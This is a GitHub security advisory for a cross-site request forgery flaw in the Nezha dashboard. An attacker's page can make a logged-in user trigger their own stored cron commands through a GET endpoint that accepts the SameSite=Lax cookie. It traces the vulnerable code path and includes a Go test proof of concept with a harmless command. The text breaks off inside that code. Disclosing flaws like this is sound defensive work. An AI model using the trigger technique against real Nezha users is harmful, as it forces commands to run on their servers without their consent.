GHSA-8qhj-4f8c-j8qg Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents

• Go github.com/nezhahq/nezha: >= 1.0.0, < 2.0.14 → fixed in 2.0.14

Summary The dashboard exposes the cron manual-trigger action as an authenticated `GET /api/v1/cron/:id/manual` endpoint. Dashboard JWTs are sent in the `nz-jwt` cookie and configured with `SameSite=Lax`, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL. If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run. Details Source-to-sink chain: 1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: `auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron))` at `cmd/dashboard/controller/controller.go:131-134`. 2. JWT auth is cookie-enabled: `CookieName: "nz-jwt"`, `SendCookie: true`, `CookieSameSite: http.SameSiteLaxMode`, and `TokenLookup: "header: Authorization, query: token, cookie: nz-jwt"` at `cmd/dashboard/controller/jwt.go:23-46`. 3. The handler parses the route ID, loads the cron object, checks only normal object ownership via `cr.HasPermission(c)`, then calls `singleton.ManualTrigger(cr)` at `cmd/dashboard/controller/cron.go:170-187`. 4. `ManualTrigger` immediately runs `CronTrigger(cr)()` at `service/singleton/crontask.go:249-250`. 5. `CronTrigger` dispatches the stored command to online eligible agents via `s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})` at `service/singleton/crontask.go:289-304` after the owner/server check in `cronCanSendToServer` (`service/singleton/crontask.go:315-317`). 6. Object authorization is user ownership/admin only: `Common.HasPermission` returns true for admins or matching `UserID` at `model/common.go:44-56`. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action. False-positive screening: • The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task. • The route is authenticated, and the unauthenticated negative control failed with `ApiErrorUnauthorized` and dispatched no task. • `SameSite=Lax` mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive. • The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task. • The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check. PoC Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text `touch /tmp/should-not-run`. It then performs two requests: 1. Negative control: cross-site-style GET without the `nz-jwt` cookie. Expected result: response contains `ApiErrorUnauthorized`; zero tasks are dispatched. 2. Positive proof: cross-site-style GET with the victim's `nz-jwt` cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with `Id=7`, `Type=model.TaskTypeCommand`, and `Data="touch /tmp/should-not-run"`. Command run from a clean checkout of the tested tree: ```bash cat >/tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go <<'EOF' package controller import ( "context" "encoding/json" "net/http" "net/http/httptest" "strings" "testing" "time" "github.com/gin-gonic/gin" "github.com/patrickmn/go-cache" "google.golang.org/grpc/metadata" "gorm.io/driver/sqlite" "gorm.io/gorm" "github.com/nezhahq/nezha/model" "github.com/nezhahq/nezha/pkg/i18n" pb "github.com/nezhahq/nezha/proto" "github.com/nezhahq/nezha/service/singleton" ) type capturedTaskStream struct { tasks []*pb.Task } func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil } func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled } func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil } func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil } func (s *capturedTaskStream) SetTrailer(metadata.MD) {} func (s *capturedTaskStream) Context() context.Context { return context.Background() } func (s *capturedTaskStream) SendMsg(any) error { return nil } func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled } func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) { gin.SetMode(gin.TestMode) db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{}) if err != nil { t.Fatal(err) } if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) } if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) } if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) } singleton.DB = db singleton.Loc = time.UTC singleton.Cache = cache.New(time.Minute, time.Minute) singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations) singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}} singleton.ServerShared = singleton.NewServerClass() singleton.CronShared = singleton.NewCronClass() defer singleton.CronShared.Stop() stream := &capturedTaskStream{} server, ok := singleton.ServerShared.Get(200) if !ok { t.Fatal("server missing from singleton") } server.TaskStream = stream cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll} singleton.CronShared.Update(cronTask) authMiddleware := initParams() if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) } token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"}) if err != nil { t.Fatal(err) } r := gin.New() r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() }) auth := r.Group("", authMiddleware.MiddlewareFunc()) auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron)) wNoCookie := httptest.NewRecorder() reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil) reqNoCookie.Header.Set("Origin", "https://attacker.example") reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site") r.ServeHTTP(wNoCookie, reqNoCookie) if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) } if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) } w := httptest.NewRecorder() req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil) req.Header.Set("Origin", "https://attacker.example") req.Header.Set("Sec-Fetch-Site", "cross-site") req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token}) r.ServeHTTP(w, req) var resp…